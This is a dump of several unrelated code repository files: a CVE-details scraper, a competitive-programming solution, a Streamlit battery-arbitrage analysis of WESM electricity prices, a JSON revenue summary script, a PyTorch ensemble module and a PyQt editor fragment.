\"https://www.cvedetails.com/version-search.php?vendor=\"+vendor+\"&product=\"+product+\"&version=\"+version+\"%\"\n req = Request(url, headers={'User-Agent': 'Mozilla/5.0'})\n webpage = urlopen(req).read()\n\n soup = BeautifulSoup(webpage, 'html.parser')\n\n table = soup.find('table', attrs={'class': 'searchresults'})\n results = table.find_all('tr')\n\n try:\n for result in results:\n data = result.find_all('td')\n if len(data) == 0:\n continue\n product = data[1].getText()\n product = str(product).strip()\n nb = data[7].getText()\n nb = int(nb)\n if nb == 0:\n continue\n url_vuln_version = data[8]\n\n for url_vuln in url_vuln_version:\n # if len(url_vuln) == 0:\n # continue\n if isinstance(url_vuln, NavigableString):\n continue\n if isinstance(url_vuln, Tag):\n val = url_vuln.getText()\n # data = url_vuln.find_all('a')\n if val == \"Vulnerabilities\":\n url_version = site+url_vuln.get('href')\n liste_url_a_parcourir.append(url_version)\n \n return liste_url_a_parcourir\n except IndexError:\n return False\n\n\ndef get_CVE_details(url):\n\n liste_cve = {}\n\n req = Request(url, headers={'User-Agent': 'Mozilla/5.0'})\n webpage = urlopen(req).read()\n\n soup = BeautifulSoup(webpage, 'html.parser')\n\n table = soup.find('table', attrs={'class': 'searchresults sortable'})\n results = table.find_all('tr')\n\n\n nb_cve = 0\n for result in results:\n data = result.find_all('td')\n if len(data) == 0:\n continue\n try:\n date_publication = data[5].getText()\n date_publication = str(date_publication).strip()\n score = data[7].getText()\n score = float(score)\n if score < 4:\n continue\n if score >= 8:\n criticite = 'Critique'\n elif score <=5.99:\n criticite = 'Moyenne'\n else:\n criticite = 'Importante'\n \n CVE = data[1].getText()\n CVE = str(CVE).strip()\n # desc = get_description_cve(CVE)\n nb_cve = nb_cve + 1\n\n liste_cve[CVE] = [date_publication,criticite]\n\n except IndexError:\n CVE = 'null'\n\n return liste_cve\n\n\n\n\n\n \n\n \n\n\n \n\n\n\n\n\n","repo_name":"stormize9/CVEWarn","sub_path":"cve/old/CVE_details.py","file_name":"CVE_details.py","file_ext":"py","file_size_in_byte":3631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"11040848239","text":"import sys\n\"\"\"\n[풀이 시간]\n16:35 ~ 17: 15\n\n[문제 요약]\n1) R*C 격자로 빵집 위치 표현, 첫번째 열은 다른 빵집 가스관, 마지막 열은 원웅이 가스관\n2) 중간에 건물이 있는 경우, 가스관 설치 불가 격자 위에 X로 건물 표현\n3) 가스관 이동 가능 방향은 3가지, 가스 파이프라인 최대 개수\n\n[전략]\n- 시간 압박은 크지 않은 문제\n- 가스 파이프라인 설치한 곳은 정수 1로 표현하자\n- 3가지 방향 이동을 인덱스로 표현해주는데, 3가지 방향 모두 이동 불가할 때 해당 탐색은 종료시키기\n 1열의 원���별로 루프를 돌려주자\n 가스 파이프라인 개수가 최대가 되게 만드려면, 이동 방향에 대한 우선순위를 정해주자!\n nx가 C-1에 도달하면 더이상 파이프라인 세지 말고 끝내야지\n\"\"\"\n\n\ndef move(gas_map, y, x):\n if gas_map[y][x] == '.':\n gas_map[y][x] = 1\n else:\n return\n for i in range(3):\n nx = x + 1\n ny = y + dy[i]\n if nx >= C or ny < 0 or ny >= R:\n continue\n move(gas_map, ny, nx)\n if nx == C-1:\n break\n\nR, C = map(int, sys.stdin.readline().split())\ngas_map, visited, result, = [list(sys.stdin.readline().rstrip()) for _ in range(R)], [], 0\n# direction\ndy = [-1, 0, 1] # 이동 방향의 우선순위: 항상 우측 대각선 상단부터\n\nfor i in range(R):\n move(gas_map, i, 0)\n\nfor i in range(R):\n if gas_map[i][C-1] == 1:\n result += 1\nprint(result)\n","repo_name":"qcqced123/coding_test","sub_path":"baekjoon/greedy/baekjoon_3109.py","file_name":"baekjoon_3109.py","file_ext":"py","file_size_in_byte":1530,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"14510743865","text":"import streamlit as st\nimport numpy as np\nimport pandas as pd\nimport plotly.graph_objects as go\nfrom plotly.subplots import make_subplots\nimport datetime\nst.title('5-Minute Data Comparison')\nstart_date = st.date_input('Start Date of Data Set',datetime.date(2021,6,26))\nend_date = st.date_input('End Date of Data Set',datetime.date(2021,12,15))\n\n@st.cache()\ndef loadWESMData(url):\n minData = pd.read_excel(url,header=1)\n minData.rename(columns={'Unnamed: 0':'ts'},inplace=True)\n minData['ts_day'] = 0.0\n for i in range(0,len(minData)):\n minData['ts_day'].iloc[i] = (minData['ts'].iloc[i]).date()\n minData['CLUZ'] = minData['CLUZ']/1000.0\n minData.CLUZ.loc[minData.CLUZ > 32.0] = 32.0\n return minData\n \n@st.cache()\ndef loadModelData(url):\n hourlyData = pd.read_csv(url)\n l = (pd.DataFrame(columns=['NULL'],\n index=pd.date_range('2021-01-01 00:00:00', '2022-01-01 00:00:00',\n freq='60T'))\n .index.strftime('%Y-%m-%d %H:%M:%S')\n .to_list()\n )\n data2021 = pd.DataFrame(columns=['ts','WESM Rate','ts_day'],index=range(0,8760))\n data2021['ts'] = pd.date_range('2021-01-01 00:00:00', '2021-12-31 23:00:00',\n freq='60T')\n\n for i in range(0,len(data2021)):\n #data2021['ts'].iloc[i] = l[i].strftime()\n data2021['WESM Rate'].iloc[i] = float(hourlyData['2021'].iloc[i])\n data2021['ts_day'].iloc[i] = (data2021['ts'].iloc[i]).strftime('%Y-%m-%d')\n data2021['WESM Rate'] = pd.to_numeric(data2021['WESM Rate'])\n\n return data2021\n\nminData = loadWESMData(\"ref/GWAP 20210626 to 20211215.xlsx\")\ndata2021 = loadModelData('ref/210104 RC WESM Forecast Base Case.csv')\n\nfig = go.Figure()\nfig.add_trace(go.Scatter(x=minData.iloc[:,0],y=minData['CLUZ'],name='5 Min Historical Data',line_width=1))\nfig.add_trace(go.Bar(x=data2021['ts'],y=data2021['WESM Rate'],name='RC WESM Base Case'))\nfig.update_layout(\n legend=dict(orientation='h',x=0.5,xanchor='center',y=1.15),\n xaxis_range = [start_date,end_date],\n title=dict(text='Actual vs. Modeled WESM Data',x=0.5),\n xaxis_title = 'Date',\n yaxis_title = 'PHP/kWh'\n)\nst.plotly_chart(fig)\ncol1, col2,col3 = st.columns(3)\ncol1.subheader('User Input')\nbattery_kwh = col1.number_input('Battery Capacity (kWh)',8480)\nbattery_kw = col1.number_input('Battery Hourly Discharge (kW)',2500)\ncase1_interval = col1.number_input('RC Data Ineterval (mins.)', 60)\ncase2_interval = col1.number_input('WESM Market Interval (mins.)',5)\nacinv_efficiency = col1.number_input('AC Inverter Efficiency',0.93)\ndod_allowed = col1.number_input('Maximum Depth of Discharge',0.9)\n\ncol2.subheader('Discharging')\ndkwh = battery_kwh*dod_allowed*acinv_efficiency\ndischarge_kwh = col2.number_input('Battery Discharge Capacity (kWh)',min_value=dkwh,max_value=dkwh,value=dkwh)\ndtime = dkwh/battery_kw\ndischarge_time = col2.number_input('Battery Discharge Hours',dtime)\ndintv_wesm = col2.number_input('# of Discharging Intervals for WESM',(discharge_time*60)/case2_interval)\ndcchargeint_wesm = col2.number_input('Disharge per Interval (kWh)',discharge_kwh/dintv_wesm)\n\ncol3.subheader('Charging')\nckwh = dkwh/acinv_efficiency\ncharge_kwh = col3.number_input('Battery Charge Capacity (kWh)',min_value=ckwh,max_value=ckwh,value=ckwh)\nctime = ckwh/battery_kw\ncharge_time = col3.number_input('Battery Charge Hours',ctime)\ncintv_wesm = col3.number_input('# of Charging Intervals for WESM',(charge_time*60)/case2_interval)\ncchargeint_wesm = col3.number_input('Charge per Interval (kWh)',charge_kwh/cintv_wesm)\n\n@st.cache(suppress_st_warning=True)\ndef getData(discharge_time,dintv_wesm,dcchargeint_wesm,charge_time,cintv_wesm,cchargeint_wesm,start_date,end_date):\n moneyCalc = pd.DataFrame(columns=['ts','min_charge','min_discharge','min_profit','hour_charge','hour_discharge','hour_profit'],index=range(0,int((end_date-start_date).days)+1))\n moneyCalc['ts'] = pd.date_range(start_date, end_date,freq='D')\n moneyCalc['ts'] = pd.to_datetime(moneyCalc['ts']).dt.date\n #st.write(moneyCalc.dtypes['ts'])\n\n this_date = start_date\n delta = datetime.timedelta(days=1)\n\n while this_date<=end_date:\n cut1 = data2021.loc[data2021['ts_day']==str(this_date)]\n cut2 = minData.loc[minData['ts_day']==this_date]\n cut2 = cut2[cut2.CLUZ>0]\n\n cut1top = cut1.nlargest(int(np.ceil(discharge_time)),'WESM Rate',keep='all')\n cut1bot = cut1.nsmallest(int(np.ceil(charge_time)),'WESM Rate',keep='all')\n cut2top = cut2.nlargest(int(np.ceil(dintv_wesm)),'CLUZ',keep='all')\n cut2bot = cut2.nsmallest(int(np.ceil(cintv_wesm)),'CLUZ',keep='all')\n\n min_charge = (np.floor(cintv_wesm)*sum(cut2bot['CLUZ'].iloc[:-1]))+((cintv_wesm%1)*cut2bot['CLUZ'].iloc[-1])\n min_discharge = (np.floor(dintv_wesm)*sum(cut2top['CLUZ'].iloc[:-1]))+((dintv_wesm%1)*cut2top['CLUZ'].iloc[-1])\n min_profit = min_discharge-min_charge\n\n hour_charge = (np.floor(charge_time)*battery_kw*sum(cut1bot['WESM Rate'].iloc[:-1]))+(((charge_time%1)*battery_kw)*cut1bot['WESM Rate'].iloc[-1])\n hour_discharge = (np.floor(discharge_time)*battery_kw*sum(cut1bot['WESM Rate'].iloc[:-1]))+((cintv_wesm%1)*battery_kw*cut1bot['WESM Rate'].iloc[-1])\n hour_profit = hour_discharge-hour_charge\n\n moneyCalc.min_charge.loc[moneyCalc.ts == this_date] = min_charge\n moneyCalc.min_discharge.loc[moneyCalc.ts == this_date] = min_discharge\n moneyCalc.min_profit.loc[moneyCalc.ts == this_date] = min_profit\n moneyCalc.hour_charge.loc[moneyCalc.ts == this_date] = hour_charge\n moneyCalc.hour_discharge.loc[moneyCalc.ts == this_date] = hour_discharge\n moneyCalc.hour_profit.loc[moneyCalc.ts == this_date] = hour_profit\n \n this_date += delta\n\n #st.write(moneyCalc.head(5))\n return moneyCalc\n\ncalcData = getData(discharge_time,dintv_wesm,dcchargeint_wesm,charge_time,cintv_wesm,cchargeint_wesm,start_date,end_date)\n\nst.subheader('Timeframe Analysis')\n\ntafig = make_subplots(rows=2,cols=1,subplot_titles=['5 Minute WESM Data','RC WESM 2021'],shared_xaxes=True,vertical_spacing=0.08)\ntafig.add_trace(go.Scatter(x=calcData.ts,y=calcData.min_charge,name='Charging Cost',legendgroup='group1'),row=1,col=1)\ntafig.add_trace(go.Scatter(x=calcData.ts,y=calcData.min_discharge,name='Discharging Income',legendgroup='group1'),row=1,col=1)\ntafig.add_trace(go.Scatter(x=calcData.ts,y=calcData.min_profit,name='Profit',legendgroup='group1'),row=1,col=1)\n\ntafig.add_trace(go.Scatter(x=calcData.ts,y=calcData.hour_charge,name='Charging Cost',legendgroup='group2'),row=2,col=1)\ntafig.add_trace(go.Scatter(x=calcData.ts,y=calcData.hour_discharge,name='Discharging Income',legendgroup='group2'),row=2,col=1)\ntafig.add_trace(go.Scatter(x=calcData.ts,y=calcData.hour_profit,name='Profit',legendgroup='group2'),row=2,col=1)\n\ntafig.update_yaxes(title_text='PhP/kWh',row=1,col=1)\ntafig.update_yaxes(title_text='PhP/kWh',row=2,col=1)\n\nst.plotly_chart(tafig)\n\ns2col1,s2col2 = st.columns(2)\ns2col1.subheader('5-Minute WESM')\ns2col1.number_input('Total Charging Cost (PhP)',round(sum(calcData.min_charge),2))\ns2col1.number_input('Total Discharging Income (PhP)',round(sum(calcData.min_discharge),2))\ns2col1.number_input('Total Profit (PhP)',round(sum(calcData.min_profit),2))\n\ns2col2.subheader('RC WESM 2021')\ns2col2.number_input('Total Charging Cost (PhP)',round(sum(calcData.hour_charge),2))\ns2col2.number_input('Total Discharging Income (PhP)',round(sum(calcData.hour_discharge),2))\ns2col2.number_input('Total Profit (PhP)',round(sum(calcData.hour_profit),2))\n\n\nst.subheader('One-day Analysis')\nthis_date = st.date_input('Select Date for Review',datetime.date(2021,6,26))\ncut1 = data2021.loc[data2021['ts_day']==str(this_date)]\ncut2 = minData.loc[minData['ts_day']==this_date]\ncut2 = cut2[cut2.CLUZ > 0.0]\ncut1top = cut1.nlargest(int(np.ceil(discharge_time)),'WESM Rate',keep='all')\ncut1bot = cut1.nsmallest(int(np.ceil(charge_time)),'WESM Rate',keep='all')\ncut2top = cut2.nlargest(int(np.ceil(dintv_wesm)),'CLUZ',keep='all')\ncut2bot = cut2.nsmallest(int(np.ceil(cintv_wesm)),'CLUZ',keep='all')\n\ncut3 = minData.loc[minData['ts_day']==this_date]\ncut3 = cut3[cut3.CLUZ > 0.0]\ncut3top = cut3.nlargest(int(np.ceil(dintv_wesm)),'CLUZ',keep='all')\ncut3bot = cut3.nsmallest(int(np.ceil(cintv_wesm)),'CLUZ',keep='all')\n\nmin_charge = (np.floor(cintv_wesm)*sum(cut2bot['CLUZ'].iloc[:-1]))+((cintv_wesm%1)*cut2bot['CLUZ'].iloc[-1])\nmin_discharge = (np.floor(dintv_wesm)*sum(cut2top['CLUZ'].iloc[:-1]))+((dintv_wesm%1)*cut2top['CLUZ'].iloc[-1])\nmin_profit = min_discharge-min_charge\n\nhour_charge = (np.floor(charge_time)*battery_kw*sum(cut1bot['WESM Rate'].iloc[:-1]))+(((charge_time%1)*battery_kw)*cut1bot['WESM Rate'].iloc[-1])\nhour_discharge = (np.floor(discharge_time)*battery_kw*sum(cut1bot['WESM Rate'].iloc[:-1]))+((cintv_wesm%1)*battery_kw*cut1bot['WESM Rate'].iloc[-1])\nhour_profit = hour_discharge-hour_charge\n\nmin_charge2 = (np.floor(cintv_wesm)*sum(cut3bot['CLUZ'].iloc[:-1]))+((cintv_wesm%1)*cut3bot['CLUZ'].iloc[-1])\nmin_discharge2 = (np.floor(dintv_wesm)*sum(cut3top['CLUZ'].iloc[:-1]))+((dintv_wesm%1)*cut3top['CLUZ'].iloc[-1])\nmin_profit2 = min_discharge2-min_charge2\n\n# st.write(cut1bot['WESM Rate'])\n# st.write(charge_time,np.floor(charge_time),round(charge_time%1,2))\n# st.write(battery_kwh)\n# st.write(sum(cut1bot['WESM Rate'].iloc[:-1]),cut1bot['WESM Rate'].iloc[-1])\n# st.write((np.floor(charge_time)*battery_kw)*sum(cut1bot['WESM Rate'].iloc[:-1]))\n# st.write(((charge_time%1)*battery_kw)*cut1bot['WESM Rate'].iloc[-1])\n\nfig2 = go.Figure()\nfig2.add_trace(go.Scatter(x=cut2['ts'],y=cut2['CLUZ'],name='5 Minute Historical Data',legendgroup='group1',line_width=1))\nfig2.add_trace(go.Scatter(x=cut1['ts'],y=cut1['WESM Rate'],name='RC WESM 2021',legendgroup='group2',line_width = 1))\nfig2.add_trace(go.Scatter(x=cut2top['ts'],y=cut2top['CLUZ'],name='Top '+str(int(np.ceil(dintv_wesm)))+' Intervals',mode='markers',legendgroup='group1'))\nfig2.add_trace(go.Scatter(x=cut2bot['ts'],y=cut2bot['CLUZ'],name='Bottom '+str(int(np.ceil(cintv_wesm)))+' Intervals',mode='markers',legendgroup='group1'))\nfig2.add_trace(go.Scatter(x=cut1top['ts'],y=cut1top['WESM Rate'],name='Top '+str(int(np.ceil(discharge_time)))+' intervals',legendgroup='group2',mode='markers'))\nfig2.add_trace(go.Scatter(x=cut1bot['ts'],y=cut1bot['WESM Rate'],name='Top '+str(int(np.ceil(charge_time)))+' intervals',legendgroup='group2',mode='markers'))\nfig2.add_trace(go.Scatter(x=cut3bot['ts'],y=cut3bot['CLUZ'],name='Bottom '+str(int(np.ceil(cintv_wesm)))+' Intervals CASE 2',mode='markers',legendgroup='group1'))\nfig2.update_layout(\n title='Data for '+str(this_date),\n yaxis_title = ('PhP/kWh Rate'),\n xaxis_title = ('Time of Day')\n)\nst.plotly_chart(fig2)\n\n\ns3col1,s3col3 = st.columns(2)\ns3col1.subheader('5-Minute WESM')\ns3col1.number_input('Charging Cost (PhP)',round(min_charge,2),round(min_charge,2),round(min_charge,2))\ns3col1.number_input('Discharging Income (PhP)',round(min_discharge,2),round(min_discharge,2),round(min_discharge,2))\ns3col1.number_input('Profit (PhP)', round(min_profit,2), round(min_profit,2), round(min_profit,2))\n\n# s3col2.subheader('Case 2')\n# s3col2.number_input('Charging Cost (PhP)',round(min_charge2,2),round(min_charge2,2),round(min_charge2,2))\n# s3col2.number_input('Discharging Income (PhP)',round(min_discharge2,2),round(min_discharge2,2),round(min_discharge2,2),key=123)\n# s3col2.number_input('Profit (PhP)', round(min_profit2,2), round(min_profit2,2), round(min_profit2,2))\n# s3col2.number_input('Profit Difference (Case 2 - Case 1)',round(min_profit2-min_profit,2))\n\ns3col3.subheader('RC WESM 2021')\ns3col3.number_input('Charging Cost (PhP)',round(hour_charge,2),round(hour_charge,2),round(hour_charge,2))\ns3col3.number_input('Discharging Income (PhP)',round(hour_discharge,2),round(hour_discharge,2),round(hour_discharge,2))\ns3col3.number_input('Profit (PhP)', round(hour_profit,2), round(hour_profit,2), round(hour_profit,2))\n\nst.title('RC WESM Rates Analaysis')\nst.text('Analysis of BESS performance given RC WESM 2021 Data')\n\nstart_date_RC = datetime.date(2021,1,1)\nend_date_RC = datetime.date (2021,12,31)\n\n@st.cache(suppress_st_warning=True)\ndef getRCData(discharge_time,charge_time,start_date_RC,end_date_RC):\n moneyCalc = pd.DataFrame(columns=['ts','hour_charge','hour_discharge','hour_profit'],index=range(0,int((end_date_RC-start_date_RC).days)+1))\n moneyCalc['ts'] = pd.date_range(start_date_RC, end_date_RC,freq='D')\n moneyCalc['ts'] = pd.to_datetime(moneyCalc['ts']).dt.date\n #st.write(moneyCalc.dtypes['ts'])\n\n this_date = start_date_RC\n delta = datetime.timedelta(days=1)\n\n while this_date<=end_date_RC:\n cut1 = data2021.loc[data2021['ts_day']==str(this_date)]\n\n cut1top = cut1.nlargest(int(np.ceil(discharge_time)),'WESM Rate',keep='all')\n cut1bot = cut1.nsmallest(int(np.ceil(charge_time)),'WESM Rate',keep='all')\n\n hour_charge = (np.floor(charge_time)*battery_kw*sum(cut1bot['WESM Rate'].iloc[:-1]))+(((charge_time%1)*battery_kw)*cut1bot['WESM Rate'].iloc[-1])\n hour_discharge = (np.floor(discharge_time)*battery_kw*sum(cut1bot['WESM Rate'].iloc[:-1]))+((cintv_wesm%1)*battery_kw*cut1bot['WESM Rate'].iloc[-1])\n hour_profit = hour_discharge-hour_charge\n\n moneyCalc.hour_charge.loc[moneyCalc.ts == this_date] = hour_charge\n moneyCalc.hour_discharge.loc[moneyCalc.ts == this_date] = hour_discharge\n moneyCalc.hour_profit.loc[moneyCalc.ts == this_date] = hour_profit\n \n this_date += delta\n\n #st.write(moneyCalc.head(5))\n moneyCalc['ts_month'] = pd.DatetimeIndex(moneyCalc['ts']).month\n return moneyCalc\n\n# value = 1.0\n# st.write(data2021.loc[data2021['WESM Rate']<=value])\n# st.write(data2021.loc[data2021['WESM Rate']<=value].shape)\nRC_data = getRCData(discharge_time, charge_time, start_date_RC, end_date_RC)\n#st.write(RC_data.loc[RC_data.ts_month == 1])\nmonths = 12\nRC_monthly = pd.DataFrame(columns=['month','charge','discharge','profit'],index=range(0,months))\nfor i in range(0,months):\n datetime_object = datetime.datetime.strptime(str(i+1), \"%m\")\n RC_monthly['month'].iloc[i] = datetime_object.strftime(\"%B\")\n RC_monthly['charge'].iloc[i] = RC_data['hour_charge'].loc[RC_data.ts_month == (i+1)].sum()\n RC_monthly['discharge'].iloc[i] = RC_data['hour_discharge'].loc[RC_data.ts_month == (i+1)].sum()\n RC_monthly['profit'].iloc[i] = RC_data['hour_profit'].loc[RC_data.ts_month == (i+1)].sum()\n\nst.dataframe(RC_monthly,height=500)\n\nst.title('211208 Code Analysis')\nst.title('Trial ipad')\n@st.cache\ndef runOldCode(discharge_time,charge_time):\n moneyCalc = pd.DataFrame(columns=['ts','battery_state','hour_charge','hour_discharge'],index=range(0,int((end_date_RC-start_date_RC).days)+1))\n moneyCalc['ts'] = pd.date_range(start_date_RC, end_date_RC,freq='D')\n moneyCalc['ts'] = pd.to_datetime(moneyCalc['ts']).dt.date\n\n partial_charge_rate = pcr\n partial_discharge_rate = pdr\n this_year = start_year + year_iter\n charge_time = charge_int\n discharge_time = discharge_int\n charge_hours = int(np.ceil(charge_time+partial_charge_rate))\n discharge_hours = int(np.ceil(discharge_time+partial_discharge_rate))\n bs_charge = 0\n bs_pcharge = 0\n bs_discharge = 0\n bs_pdischarge=0\n charge_cycles = 0\n discharge_cycles = 0\n income = 0\n cost = 0\n print(WESM_this_year)\n battery_state = np.zeros(shape=8760, dtype=int)\n while(i!=len(battery_state)):\n try: \n charge_window = WESM_this_year[i:i+16]\n print(charge_window)\n cindex = (charge_window).argsort()[:charge_hours]\n print(cindex)\n for j in range(0,len(cindex)):\n this_index = i+cindex[j]\n if j == (len(cindex)-1) and partial_charge_rate>0.0:\n battery_state[this_index] = 2\n bs_pcharge = bs_pcharge + 1\n cost = cost+(WESM_this_year[this_index]*partial_charge_rate*battery_kw)\n else:\n battery_state[this_index] = 1 # Charging\n bs_charge = bs_charge+1\n cost = cost + (WESM_this_year[this_index]*battery_kw)\n charge_cycles = charge_cycles + 1\n\n print(battery_state[0:24])\n i = i+np.amax(cindex)+1\n print(i)\n\n discharge_window = WESM_this_year[i:i+activity_interval]\n print(discharge_window)\n dindex = (-discharge_window).argsort()[:discharge_hours]\n print(dindex)\n for j in range(0,len(dindex)):\n this_index = i+dindex[j]\n if j == (len(dindex)-1) and partial_discharge_rate>0.0:\n battery_state[this_index] = 4\n bs_pdischarge = bs_pdischarge + 1\n income = income+(WESM_this_year[this_index]*partial_discharge_rate*battery_kw)\n else:\n battery_state[this_index] = 3 # Discharging\n bs_discharge = bs_discharge + 1\n income = income + (WESM_this_year[this_index]*battery_kw)\n print(battery_state[0:24])\n discharge_cycles = discharge_cycles+1\n i = i+np.amax(dindex)+1\n #print(i)\n except Exception as e:\n #print(i,'//',e)\n break\n count_hours = np.bincount(battery_state)\n hours_charging = bs_charge+ partial_charge_rate*bs_pcharge\n hours_discharging = bs_discharge + partial_discharge_rate*bs_pdischarge\n hours_idle = 8760 - (hours_charging+hours_discharging)\n profit = income - cost\n results = np.array([this_year,(charge_time+partial_charge_rate),(discharge_time+partial_discharge_rate),activity_interval,hours_charging, hours_discharging,hours_idle,charge_cycles,discharge_cycles,round(cost,2),round(income,2),round(profit,2)])\n return results\n","repo_name":"drpsantos/dash","sub_path":"fiveminWESM.py","file_name":"fiveminWESM.py","file_ext":"py","file_size_in_byte":17904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"17189192934","text":"import json\n\nwith open('dados.json') as f:\n faturamento = json.load(f)\n\n# lista com os valores diários de faturamento\nvalores_diarios = [dia['valor'] for dia in faturamento]\n\n# calcula o menor valor de faturamento\nmenor_valor = min(valores_diarios)\n\n# calcula o maior valor de faturamento\nmaior_valor = max(valores_diarios)\n\n# filtra os dias com faturamento para calcular a média\ndias_com_faturamento = [dia['valor'] for dia in faturamento if dia['valor'] > 0]\nmedia_mensal = sum(dias_com_faturamento) / len(dias_com_faturamento)\n\n# calcula o número de dias com faturamento superior à média mensal\ndias_acima_da_media = len([dia for dia in faturamento if dia['valor'] > media_mensal])\n\nprint(f\"Menor valor de faturamento: R${menor_valor:.2f}\")\nprint(f\"Maior valor de faturamento: R${maior_valor:.2f}\")\nprint(f\"Dias com faturamento acima da média mensal: {dias_acima_da_media}\")\n","repo_name":"suricatstar/TesteJobRotation","sub_path":"Meus programas/leitorJSON.py","file_name":"leitorJSON.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"17004301165","text":"import warnings\n\nimport torch\nfrom tensordict import TensorDict\nfrom tensordict.nn.common import TensorDictBase, TensorDictModuleBase\nfrom tensordict.nn.functional_modules import make_functional\n\nfrom tensordict.nn.params import TensorDictParams\n\n\nclass EnsembleModule(TensorDictModuleBase):\n \"\"\"Module that wraps a module and repeats it to form an ensemble.\n\n Args:\n module (nn.Module): The nn.module to duplicate and wrap.\n num_copies (int): The number of copies of module to make.\n parameter_init_function (Callable): A function that takes a module copy and initializes its parameters.\n expand_input (bool): Whether to expand the input TensorDict to match the number of copies. This should be\n True unless you are chaining ensemble modules together, e.g. EnsembleModule(cnn) -> EnsembleModule(mlp).\n If False, EnsembleModule(mlp) will expected the previous module(s) to have already expanded the input.\n\n Examples:\n >>> import torch\n >>> from torch import nn\n >>> from tensordict.nn import TensorDictModule\n >>> from torchrl.modules import EnsembleModule\n >>> from tensordict import TensorDict\n >>> net = nn.Sequential(nn.Linear(4, 32), nn.ReLU(), nn.Linear(32, 2))\n >>> mod = TensorDictModule(net, in_keys=['a'], out_keys=['b'])\n >>> ensemble = EnsembleModule(mod, num_copies=3)\n >>> data = TensorDict({'a': torch.randn(10, 4)}, batch_size=[10])\n >>> ensemble(data)\n TensorDict(\n fields={\n a: Tensor(shape=torch.Size([3, 10, 4]), device=cpu, dtype=torch.float32, is_shared=False),\n b: Tensor(shape=torch.Size([3, 10, 2]), device=cpu, dtype=torch.float32, is_shared=False)},\n batch_size=torch.Size([3, 10]),\n device=None,\n is_shared=False)\n\n To stack EnsembleModules together, we should be mindful of turning off `expand_input` from the second module and on.\n\n Examples:\n >>> import torch\n >>> from tensordict.nn import TensorDictModule, TensorDictSequential\n >>> from torchrl.modules import EnsembleModule\n >>> from tensordict import TensorDict\n >>> module = TensorDictModule(torch.nn.Linear(2,3), in_keys=['bork'], out_keys=['dork'])\n >>> next_module = TensorDictModule(torch.nn.Linear(3,1), in_keys=['dork'], out_keys=['spork'])\n >>> e0 = EnsembleModule(module, num_copies=4, expand_input=True)\n >>> e1 = EnsembleModule(next_module, num_copies=4, expand_input=False)\n >>> seq = TensorDictSequential(e0, e1)\n >>> data = TensorDict({'bork': torch.randn(5,2)}, batch_size=[5])\n >>> seq(data)\n TensorDict(\n fields={\n bork: Tensor(shape=torch.Size([4, 5, 2]), device=cpu, dtype=torch.float32, is_shared=False),\n dork: Tensor(shape=torch.Size([4, 5, 3]), device=cpu, dtype=torch.float32, is_shared=False),\n spork: Tensor(shape=torch.Size([4, 5, 1]), device=cpu, dtype=torch.float32, is_shared=False)},\n batch_size=torch.Size([4, 5]),\n device=None,\n is_shared=False)\n \"\"\"\n\n def __init__(\n self,\n module: TensorDictModuleBase,\n num_copies: int,\n expand_input: bool = True,\n ):\n super().__init__()\n self.in_keys = module.in_keys\n self.out_keys = module.out_keys\n params_td = make_functional(module).expand(num_copies).to_tensordict()\n\n self.module = module\n if expand_input:\n self.vmapped_forward = torch.vmap(self.module, (None, 0))\n else:\n self.vmapped_forward = torch.vmap(self.module, 0)\n\n self.reset_parameters_recursive(params_td)\n self.params_td = TensorDictParams(params_td)\n\n def forward(self, tensordict: TensorDict) -> TensorDict:\n return self.vmapped_forward(tensordict, self.params_td)\n\n def reset_parameters_recursive(\n self, parameters: TensorDictBase = None\n ) -> TensorDictBase:\n \"\"\"Resets the parameters of all the copies of the module.\n\n Args:\n parameters (TensorDict): A TensorDict of parameters for self.module. The batch dimension(s) of the tensordict\n denote the number of module copies to reset.\n\n Returns:\n A TensorDict of pointers to the reset parameters.\n \"\"\"\n if parameters is None:\n raise ValueError(\n \"Ensembles are functional and require passing a TensorDict of parameters to reset_parameters_recursive\"\n )\n if parameters.ndim:\n params_pointers = []\n for params_copy in parameters.unbind(0):\n self.reset_parameters_recursive(params_copy)\n params_pointers.append(params_copy)\n return torch.stack(params_pointers, -1)\n else:\n # In case the user has added other neural networks to the EnsembleModule\n # besides those in self.module\n child_mods = [\n mod\n for name, mod in self.named_children()\n if name != \"module\" and name != \"ensemble_parameters\"\n ]\n if child_mods:\n warnings.warn(\n \"EnsembleModule.reset_parameters_recursive() only resets parameters of self.module, but other parameters were detected. These parameters will not be reset.\"\n )\n # Reset all self.module descendant parameters\n return self.module.reset_parameters_recursive(parameters)\n","repo_name":"pytorch/tensordict","sub_path":"tensordict/nn/ensemble.py","file_name":"ensemble.py","file_ext":"py","file_size_in_byte":5566,"program_lang":"python","lang":"en","doc_type":"code","stars":286,"dataset":"github-code","pt":"60"} +{"seq_id":"24965369691","text":"from PyQt5.QtWidgets import (QWidget, QToolTip, QFrame,\n QPushButton, QApplication, QMainWindow, QAction, qApp, QPlainTextEdit, QVBoxLayout, QSplitter, QHBoxLayout)\n\nfrom PyQt5.QtGui import QFont, QIcon, QPainter, QBrush, QColor, QPen, QFontMetrics, QTextCursor\n\nfrom PyQt5.QtCore import Qt, QSize\n\nfrom PyQt5.QtCore import pyqtSignal\n\nfrom utils import cfg\n\nclass QPlainTextEditLN(QWidget):\n\n tabSwitchSignal = pyqtSignal(int)\n\n class PlainTextEdit(QPlainTextEdit):\n \n rehighlightSig = pyqtSignal()\n tabSwitchSignal = pyqtSignal(int)\n \n def __init__(self, parent=None):\n super().__init__(parent)\n \n '''\n def focusInEvent(self, event):\n super().focusInEvent(event)\n print('---- >>>>>>>>>>>>>>>> got focus!')\n\n def focusOutEvent(self, event):\n super().focusOutEvent(event)\n print('---- <<<<<<<<<<<<<<<< lost focus :((')\n '''\n \n def insertFromMimeData(self, src):\n # need to force re-highlight manually because of #476\n # actually we only need to call it if there was a selection\n \n cursor = self.textCursor()\n \n rehighlight = not cursor.selection().isEmpty()\n \n a = super().insertFromMimeData(src)\n\n if rehighlight:\n self.rehighlightSig.emit()\n \n return a\n \n def duplicateLine (self):\n cursor = self.textCursor()\n \n if cursor.selection().isEmpty():\n #txtline = self.document().findBlockByLineNumber(cursor.blockNumber())\n txtline = self.document().findBlockByNumber(cursor.blockNumber())\n \n 